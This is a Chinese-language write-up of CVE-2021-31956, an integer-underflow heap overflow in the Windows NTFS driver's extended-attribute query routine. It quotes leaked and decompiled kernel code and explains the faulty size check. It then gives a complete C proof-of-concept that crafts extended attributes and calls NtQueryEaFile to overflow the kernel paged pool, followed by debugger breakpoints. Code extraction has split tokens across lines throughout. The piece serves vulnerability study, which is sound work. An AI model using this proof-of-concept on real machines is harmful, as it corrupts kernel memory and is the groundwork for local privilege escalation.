参考链接:
漏洞在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)的NtfsQueryEaUserEaList函数中
NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA
1
2
3
4
5
6
7
8
9
10
11
12
13
|
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[
1
];
} FILE_GET_EA_INFORMATION,
*
PFILE_GET_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[
1
];
} FILE_FULL_EA_INFORMATION,
*
PFILE_FULL_EA_INFORMATION;
|
##漏洞成因
泄露的NT5.1中有NtfsQueryEaUserEaList的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
|
IO_STATUS_BLOCK
NtfsQueryEaUserEaList(
IN PFILE_FULL_EA_INFORMATION CurrentEas,
IN PEA_INFORMATION EaInformation,
OUT PFILE_FULL_EA_INFORMATION EaBuffer,
IN ULONG UserBufferLength,
IN PFILE_GET_EA_INFORMATION UserEaList,
IN BOOLEAN ReturnSingleEntry
)
/
*
+
+
Routine Description:
This routine
is
the work routine
for
querying EAs given a
list
of Ea's to search
for
.
Arguments:
CurrentEas
-
This
is
a pointer to the current Eas
for
the
file
EaInformation
-
This
is
a pointer to an Ea information attribute.
EaBuffer
-
Supplies the
buffer
to receive the full eas
UserBufferLength
-
Supplies the length,
in
bytes, of the user
buffer
UserEaList
-
Supplies the user specified ea name
list
ReturnSingleEntry
-
Indicates
if
we are to
return
a single entry
or
not
Return Value:
IO_STATUS_BLOCK
-
Receives the completion status
for
the operation
-
-
*
/
{
IO_STATUS_BLOCK Iosb;
ULONG GeaOffset;
ULONG FeaOffset;
ULONG Offset;
PFILE_FULL_EA_INFORMATION LastFullEa;
PFILE_FULL_EA_INFORMATION NextFullEa;
PFILE_GET_EA_INFORMATION GetEa;
BOOLEAN Overflow;
ULONG PrevEaPadding;
PAGED_CODE();
DebugTrace(
+
1
, Dbg, (
"NtfsQueryEaUserEaList: Entered\n"
));
/
/
/
/
Setup pointer
in
the output
buffer
so we can track the Ea being
/
/
written to it
and
the last Ea written.
/
/
LastFullEa
=
NULL;
Overflow
=
FALSE;
/
/
/
/
Initialize our
next
offset value.
/
/
GeaOffset
=
0
;
Offset
=
0
;
PrevEaPadding
=
0
;
/
/
/
/
Loop through
all
the entries
in
the user's ea
list
.
/
/
while
(TRUE) {
STRING GeaName;
STRING OutputEaName;
ULONG RawEaSize;
/
/
/
/
Get the
next
entry
in
the user's
list
.
/
/
GetEa
=
(PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset);
/
/
/
/
Make a string reference to the name
and
see
if
we can locate
/
/
the ea by name.
/
/
GeaName.MaximumLength
=
GeaName.Length
=
GetEa
-
>EaNameLength;
GeaName.
Buffer
=
&GetEa
-
>EaName[
0
];
/
/
/
/
Upcase the name so we can do a case
-
insensitive compare.
/
/
NtfsUpcaseEaName(&GeaName, &GeaName);
/
/
/
/
Check
for
a valid name.
/
/
if
(!NtfsIsEaNameValid(GeaName)) {
DebugTrace(
-
1
, Dbg, (
"NtfsQueryEaUserEaList: Invalid Ea Name\n"
));
Iosb.Information
=
GeaOffset;
Iosb.Status
=
STATUS_INVALID_EA_NAME;
return
Iosb;
}
GeaOffset
+
=
GetEa
-
>NextEntryOffset;
/
/
/
/
If this
is
a duplicate name, then step over this entry.
/
/
if
(NtfsIsDuplicateGeaName(GetEa, UserEaList)) {
/
/
/
/
If we've exhausted the entries
in
the Get Ea
list
, then we are
/
/
done.
/
/
if
(GetEa
-
>NextEntryOffset
=
=
0
) {
break
;
}
else
{
continue
;
}
}
/
/
/
/
Generate a pointer
in
the Ea
buffer
.
/
/
NextFullEa
=
(PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset
+
PrevEaPadding);
/
/
/
/
Try to find a matching Ea.
/
/
If we couldn
't, let'
s dummy up an Ea to give to the user.
/
/
if
(!NtfsLocateEaByName(CurrentEas,
EaInformation
-
>UnpackedEaSize,
&GeaName,
&FeaOffset)) {
/
/
/
/
We were
not
able to locate the name therefore we must
/
/
dummy up a entry
for
the query. The needed Ea size
is
/
/
the size of the name
+
4
(
next
entry offset)
+
1
(flags)
/
/
+
1
(name length)
+
2
(value length)
+
the name length
+
/
/
1
(null byte).
/
/
RawEaSize
=
4
+
1
+
1
+
2
+
GetEa
-
>EaNameLength
+
1
;
if
((RawEaSize
+
PrevEaPadding) > UserBufferLength) {
Overflow
=
TRUE;
break
;
}
/
/
/
/
Everything
is
going to work fine, so copy over the name,
/
/
set
the name length
and
zero out the rest of the ea.
/
/
NextFullEa
-
>NextEntryOffset
=
0
;
NextFullEa
-
>Flags
=
0
;
NextFullEa
-
>EaNameLength
=
GetEa
-
>EaNameLength;
NextFullEa
-
>EaValueLength
=
0
;
RtlCopyMemory(&NextFullEa
-
>EaName[
0
],
&GetEa
-
>EaName[
0
],
GetEa
-
>EaNameLength);
/
/
/
/
Upcase the name
in
the
buffer
.
/
/
OutputEaName.MaximumLength
=
OutputEaName.Length
=
GeaName.Length;
OutputEaName.
Buffer
=
NextFullEa
-
>EaName;
NtfsUpcaseEaName(&OutputEaName, &OutputEaName);
NextFullEa
-
>EaName[GetEa
-
>EaNameLength]
=
0
;
/
/
/
/
Otherwise
return
the Ea we found back to the user.
/
/
}
else
{
PFILE_FULL_EA_INFORMATION ThisEa;
/
/
/
/
Reference this ea.
/
/
ThisEa
=
(PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset);
/
/
/
/
Check
if
this Ea can fit
in
the user's
buffer
.
/
/
RawEaSize
=
RawUnpackedEaSize(ThisEa);
if
(RawEaSize > (UserBufferLength
-
PrevEaPadding)) {
Overflow
=
TRUE;
break
;
}
/
/
/
/
Copy this ea to the user's
buffer
.
/
/
RtlCopyMemory(NextFullEa,
ThisEa,
RawEaSize);
NextFullEa
-
>NextEntryOffset
=
0
;
}
/
/
/
/
Compute the
next
offset
in
the user's
buffer
.
/
/
Offset
+
=
(RawEaSize
+
PrevEaPadding);
/
/
/
/
If we were to
return
a single entry then
break
out of our loop
/
/
now
/
/
if
(ReturnSingleEntry) {
break
;
}
/
/
/
/
If we have a new Ea entry, go back
and
update the offset field
/
/
of the previous Ea entry.
/
/
if
(LastFullEa !
=
NULL) {
LastFullEa
-
>NextEntryOffset
=
PtrOffset(LastFullEa, NextFullEa);
}
/
/
/
/
If we've exhausted the entries
in
the Get Ea
list
, then we are
/
/
done.
/
/
if
(GetEa
-
>NextEntryOffset
=
=
0
) {
break
;
}
/
/
/
/
Remember this as the previous ea value. Also update the
buffer
/
/
length values
and
the
buffer
offset values.
/
/
LastFullEa
=
NextFullEa;
UserBufferLength
-
=
(RawEaSize
+
PrevEaPadding);
/
/
/
/
Now remember the padding bytes needed
for
this call.
/
/
PrevEaPadding
=
LongAlign(RawEaSize)
-
RawEaSize;
}
/
/
/
/
If the Ea information won
't fit in the user'
s
buffer
, then
return
/
/
an overflow status.
/
/
if
(Overflow) {
Iosb.Information
=
0
;
Iosb.Status
=
STATUS_BUFFER_OVERFLOW;
/
/
/
/
Otherwise
return
the length of the data returned.
/
/
}
else
{
/
/
/
/
Return the length of the
buffer
filled
and
a success
/
/
status.
/
/
Iosb.Information
=
Offset;
Iosb.Status
=
STATUS_SUCCESS;
}
DebugTrace(
0
, Dbg, (
"Status -> %08lx\n"
, Iosb.Status));
DebugTrace(
0
, Dbg, (
"Information -> %08lx\n"
, Iosb.Information));
DebugTrace(
-
1
, Dbg, (
"NtfsQueryEaUserEaList: Exit\n"
));
return
Iosb;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
_QWORD
*
__fastcall NtfsQueryEaUserEaList(_QWORD
*
a1, _FILE_FULL_EA_INFORMATION
*
ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned
int
out_buf_length, _FILE_GET_EA_INFORMATION
*
eaList, char a7)
{
int
v8;
/
/
edi
unsigned
int
v9;
/
/
ebx
unsigned
int
padding;
/
/
er15
_FILE_GET_EA_INFORMATION
*
GetEa;
/
/
r12
ULONG v12;
/
/
er14
unsigned __int8 v13;
/
/
r13
_FILE_GET_EA_INFORMATION
*
curEaList;
/
/
rbx
unsigned
int
v15;
/
/
ebx
_DWORD
*
v16;
/
/
r13
unsigned
int
ea_block_size;
/
/
er14
unsigned
int
v18;
/
/
ebx
_FILE_FULL_EA_INFORMATION
*
ea_block;
/
/
rdx
char v21;
/
/
al
ULONG v22;
/
/
[rsp
+
20h
] [rbp
-
38h
]
unsigned
int
v23;
/
/
[rsp
+
24h
] [rbp
-
34h
] BYREF
_DWORD
*
v24;
/
/
[rsp
+
28h
] [rbp
-
30h
]
struct _STRING DestinationString;
/
/
[rsp
+
30h
] [rbp
-
28h
] BYREF
STRING SourceString;
/
/
[rsp
+
40h
] [rbp
-
18h
] BYREF
unsigned
int
offest;
/
/
[rsp
+
A0h] [rbp
+
48h
]
v8
=
0
;
*
a1
=
0i64
;
v24
=
0i64
;
v9
=
0
;
offest
=
0
;
padding
=
0
;
a1[
1
]
=
0i64
;
while
(
1
)
{
/
/
索引ealist中的成员,用作下面的查找。
GetEa
=
(_FILE_GET_EA_INFORMATION
*
)((char
*
)eaList
+
v9);
*
(_QWORD
*
)&DestinationString.Length
=
0i64
;
DestinationString.
Buffer
=
0i64
;
*
(_QWORD
*
)&SourceString.Length
=
0i64
;
SourceString.
Buffer
=
0i64
;
*
(_QWORD
*
)&DestinationString.Length
=
GetEa
-
>EaNameLength;
DestinationString.MaximumLength
=
DestinationString.Length;
DestinationString.
Buffer
=
GetEa
-
>EaName;
RtlUpperString(&DestinationString, &DestinationString);
if
( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
/
/
检查ealist中成员的name是否有效
break
;
v12
=
GetEa
-
>NextEntryOffset;
v13
=
GetEa
-
>EaNameLength;
v22
=
GetEa
-
>NextEntryOffset
+
v9;
for
( curEaList
=
eaList; ; curEaList
=
(_FILE_GET_EA_INFORMATION
*
)((char
*
)curEaList
+
curEaList
-
>NextEntryOffset) )
/
/
遍历查询的EaList
{
if
( curEaList
=
=
GetEa )
{
v15
=
offest;
v16
=
(_DWORD
*
)(a4
+
padding
+
offest);
if
( (unsigned __int8)NtfsLocateEaByName(
/
/
根据name查找对应的Ea信息
ea_blocks_for_file,
*
(unsigned
int
*
)(out_buf
+
4
),
&DestinationString,
&v23) )
{
ea_block
=
(_FILE_FULL_EA_INFORMATION
*
)((char
*
)ea_blocks_for_file
+
v23);
ea_block_size
=
ea_block
-
>EaValueLength
+
ea_block
-
>EaNameLength
+
9
;
/
/
计算内存拷贝大小
if
( ea_block_size <
=
out_buf_length
-
padding )
/
/
防溢出检查
/
/
两个uint32相减以后发生整数溢出绕过检查
{
memmove(v16, ea_block, ea_block_size);
/
/
溢出点
*
v16
=
0
;
goto LABEL_8;
}
}
else
{
ea_block_size
=
GetEa
-
>EaNameLength
+
9
;
/
/
9
=
4
(
next
entry offset)
+
1
(flags)
+
1
(name length)
+
2
(value length)
+
1
(null byte)
if
( ea_block_size
+
padding <
=
out_buf_length )
{
*
v16
=
0
;
*
((_BYTE
*
)v16
+
4
)
=
0
;
*
((_BYTE
*
)v16
+
5
)
=
GetEa
-
>EaNameLength;
*
((_WORD
*
)v16
+
3
)
=
0
;
memmove(v16
+
2
, GetEa
-
>EaName, GetEa
-
>EaNameLength);
SourceString.Length
=
DestinationString.Length;
SourceString.MaximumLength
=
DestinationString.Length;
SourceString.
Buffer
=
(PCHAR)(v16
+
2
);
RtlUpperString(&SourceString, &SourceString);
v15
=
offest;
*
((_BYTE
*
)v16
+
GetEa
-
>EaNameLength
+
8
)
=
0
;
LABEL_8:
v18
=
ea_block_size
+
padding
+
v15;
offest
=
v18;
if
( !a7 )
{
if
( v24 )
*
v24
=
(_DWORD)v16
-
(_DWORD)v24;
if
( GetEa
-
>NextEntryOffset )
/
/
判断是ealist中是否还有其他成员
{
v24
=
v16;
out_buf_length
-
=
ea_block_size
+
padding;
/
/
总长度减去已经拷贝的长度
padding
=
((ea_block_size
+
3
) &
0xFFFFFFFC
)
-
ea_block_size;
/
/
padding的计算
goto LABEL_26;
}
}
LABEL_12:
a1[
1
]
=
v18;
LABEL_13:
*
(_DWORD
*
)a1
=
v8;
return
a1;
}
}
v21
=
NtfsStatusDebugFlags;
a1[
1
]
=
0i64
;
if
( v21 )
NtfsStatusTraceAndDebugInternal(
0i64
,
2147483653i64
,
919406i64
);
v8
=
-
2147483643
;
goto LABEL_13;
}
if
( v13
=
=
curEaList
-
>EaNameLength && !memcmp(GetEa
-
>EaName, curEaList
-
>EaName, v13) )
break
;
}
if
( !v12 )
{
v18
=
offest;
goto LABEL_12;
}
LABEL_26:
v9
=
v22;
}
a1[
1
]
=
v9;
if
( NtfsStatusDebugFlags )
NtfsStatusTraceAndDebugInternal(
0i64
,
2147483667i64
,
919230i64
);
*
(_DWORD
*
)a1
=
-
2147483629
;
return
a1;
}
|
NtfsQueryEaUserEaList从 循环遍历文件的每个 NTFS 扩展属性 (Ea),并根据ea_block->EaValueLength + ea_block->EaNameLength + 9的大小从 Ea 块复制到输出缓冲区。
有一个检查确保ea_block_size小于或等于out_buf_length - padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) - ea_block_size来计算的。因为每个EA块应该填充为32位对齐。
假设文件的扩展属性中有两个扩展属性
###正常情况下:
第一次迭代
1
2
3
4
5
|
EaNameLength
=
5
EaValueLength
=
4
ea_block_size
=
9
+
5
+
4
=
18
padding
=
0
|
因此18 < out_buf_length - 0,数据将被复制到缓冲区中
第二次迭代
1
2
3
4
5
|
out_buf_length
=
30
-
18
+
0
out_buf_length
=
12
/
/
we would have
12
bytes left of the output
buffer
.
padding
=
((
18
+
3
)
0xFFFFFFFC
)
-
18
padding
=
2
|
在文件中添加一个具有相同值的第二个扩展属性。
1
2
3
4
5
|
EaNameLength
=
5
EaValueLength
=
4
ea_block_size
=
9
+
5
+
4
=
18
18
<
=
12
-
2
/
/
is
False
.
|
由于缓冲区太小,第二次内存复制将不会发生。
1
2
3
4
5
6
7
|
第一个扩展属性:
EaNameLength
=
5
EaValueLength
=
4
第二个扩展属性:
EaNameLength
=
5
EaValueLength
=
47
|
第一次迭代
1
2
3
4
5
|
EaNameLength
=
5
EaValueLength
=
4
ea_block_size
=
9
+
5
+
4
/
/
18
padding
=
0
|
检查结果为:
18 <= 18 - 0 // is True and a copy of 18 occurs.
第二个扩展属性具有以下值:
1
2
3
4
5
|
EaNameLength
=
5
EaValueLength
=
47
ea_block_size
=
5
+
47
+
9
ea_block_size
=
137
|
结果检查将是:
ea_block_size <= out_buf_length - padding
137 <= 0 - 2
发生下溢,137 个字节将被复制到缓冲区末尾,从而损坏相邻内存。
查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的
NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
/
/
为文件创建EA
NTSTATUS ZwSetEaFile(
[
in
] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] PVOID
Buffer
,
[
in
] ULONG Length
);
/
/
查询文件EA
NTSTATUS ZwQueryEaFile(
[
in
] HANDLE FileHandle,
/
/
文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID
Buffer
,
/
/
扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[
in
] ULONG Length,
/
/
缓冲区大小
[
in
] BOOLEAN ReturnSingleEntry,
[
in
, optional] PVOID EaList,
/
/
指定需要查询的扩展属性
[
in
] ULONG EaListLength,
[
in
, optional] PULONG EaIndex,
/
/
指定需要查询的起始索引
[
in
] BOOLEAN RestartScan
);
|
可以看到输出缓冲区Buffer以及该缓冲区的长度都是从用户空间传入的。这意味着我们根据缓冲区的大小控制内核空间的内存分配。
该漏洞对攻击者来说:
溢出拷贝时数据和大小均可控。
可以覆盖下一个内核池块
内核池分配时大小可控,并且可以进行堆布局。
##漏洞利用
Windows10引入了新的方式进行堆块管理,称为Segment Heap,具体可看以下论文
EXP:
仿照EXP改的可以触发溢出的POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
|
#include <iostream>
#include <Windows.h>
#include <sddl.h>
#define PAYLOAD_SIZE 1000
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define OVER_STATEDATA_LENGTH 0x1000
#define OVER_EA_VALUE_LENGTH (0xf)
#define KERNAL_ALLOC_SIZE 0xae
#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK,
*
PIO_STATUS_BLOCK;
typedef NTSTATUS(NTAPI
*
__ZwQueryEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID
Buffer
,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
typedef NTSTATUS(NTAPI
*
__ZwSetEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID
Buffer
,
ULONG Length
);
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[
1
];
} FILE_FULL_EA_INFORMATION,
*
PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[
1
];
} FILE_GET_EA_INFORMATION,
*
PFILE_GET_EA_INFORMATION;
__ZwQueryEaFile NtQueryEaFile
=
NULL;
__ZwSetEaFile NtSetEaFile
=
NULL;
UINT64 OVER_STATENAME
=
0
;
int
main()
{
HMODULE hNtDll
=
NULL;
hNtDll
=
LoadLibrary(L
"ntdll.dll"
);
if
(hNtDll
=
=
NULL)
{
printf(
"load ntdll failed!\r\n"
);
return
0
;
}
NtQueryEaFile
=
(__ZwQueryEaFile)GetProcAddress(hNtDll,
"NtQueryEaFile"
);
NtSetEaFile
=
(__ZwSetEaFile)GetProcAddress(hNtDll,
"ZwSetEaFile"
);
if
(NtQueryEaFile
=
=
NULL ||
NtSetEaFile
=
=
NULL
)
{
printf(
"not found functions\r\n"
);
return
0
;
}
PFILE_GET_EA_INFORMATION EaList
=
NULL;
PFILE_GET_EA_INFORMATION EaListCP
=
NULL;
PVOID eaData
=
NULL;
DWORD dwNumberOfBytesWritten
=
0
;
UCHAR payLoad[PAYLOAD_SIZE]
=
{
0
};
PFILE_FULL_EA_INFORMATION curEa
=
NULL;
HANDLE hFile
=
INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK eaStatus
=
{
0
};
NTSTATUS rc;
PISECURITY_DESCRIPTOR pSecurity
=
NULL;
PUCHAR pd
=
NULL;
int
state
=
-
1
;
hFile
=
CreateFileA(
"payload"
,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if
(hFile
=
=
INVALID_HANDLE_VALUE)
{
printf(
"create the file failed\r\n"
);
goto ERROR_HANDLE;
}
WriteFile(hFile,
"This files has an optional .COMMENTS EA\n"
,
strlen(
"This files has an optional .COMMENTS EA\n"
),
&dwNumberOfBytesWritten, NULL);
curEa
=
(PFILE_FULL_EA_INFORMATION)payLoad;
curEa
-
>Flags
=
0
;
curEa
-
>EaNameLength
=
TIGGER_EA_NAME_LENGTH;
curEa
-
>EaValueLength
=
TIGGER_EA_VALUE_LENGTH;
/
/
align
4
。
curEa
-
>NextEntryOffset
=
(curEa
-
>EaNameLength
+
curEa
-
>EaValueLength
+
3
+
9
) & (~
3
);
memcpy(curEa
-
>EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(curEa
-
>EaName
+
curEa
-
>EaNameLength
+
1
, TIGGER_EA_VALUE_LENGTH,
'A'
);
curEa
=
(PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa
+
curEa
-
>NextEntryOffset);
curEa
-
>NextEntryOffset
=
0
;
curEa
-
>Flags
=
0
;
curEa
-
>EaNameLength
=
OVER_EA_NAME_LENGTH;
curEa
-
>EaValueLength
=
OVER_EA_VALUE_LENGTH;
memcpy(curEa
-
>EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(curEa
-
>EaName
+
curEa
-
>EaNameLength
+
1
, OVER_EA_VALUE_LENGTH,
0
);
pd
=
(PUCHAR)(curEa);
rc
=
NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
if
(rc !
=
0
)
{
printf(
"NtSetEaFile failed error code is %x\r\n"
, rc);
goto ERROR_HANDLE;
}
eaData
=
malloc(sizeof(payLoad));
if
(eaData
=
=
NULL)
{
goto ERROR_HANDLE;
}
memset(eaData,
0
, sizeof(payLoad));
EaList
=
(PFILE_GET_EA_INFORMATION)malloc(
100
);
if
(EaList
=
=
NULL)
{
goto ERROR_HANDLE;
}
EaListCP
=
EaList;
memset(EaList,
0
,
100
);
memcpy(EaList
-
>EaName,
".PA"
, strlen(
".PA"
));
EaList
-
>EaNameLength
=
(UCHAR)strlen(
".PA"
);
EaList
-
>NextEntryOffset
=
12
;
/
/
align
4
EaList
=
(PFILE_GET_EA_INFORMATION)((PUCHAR)EaList
+
12
);
memcpy(EaList
-
>EaName,
".PBB"
, strlen(
".PBB"
));
EaList
-
>EaNameLength
=
(UCHAR)strlen(
".PBB"
);
EaList
-
>NextEntryOffset
=
0
;
rc
=
NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP,
100
,
0
, TRUE);
state
=
0
;
ERROR_HANDLE:
if
(hFile !
=
INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
hFile
=
INVALID_HANDLE_VALUE;
}
if
(EaList !
=
NULL)
{
free(EaListCP);
EaList
=
NULL;
}
if
(eaData !
=
NULL)
{
free(eaData);
eaData
=
NULL;
}
if
(pSecurity !
=
NULL)
{
free(pSecurity);
pSecurity
=
NULL;
}
return
0
;
}
|
1
2
3
4
|
bu ntdll!NtQueryEaFile
bu Ntfs!NtfsQueryEaUserEaList
bu Ntfs!NtfsQueryEaUserEaList
+
0x19f
bu Ntfs!NtfsQueryEaUserEaList
+
0x1b2
|
可以看到整数下溢
更多【(未完,保存下)Windows NTFS本地提权漏洞 CVE-2021-31956】相关视频教程:www.yxfzedu.com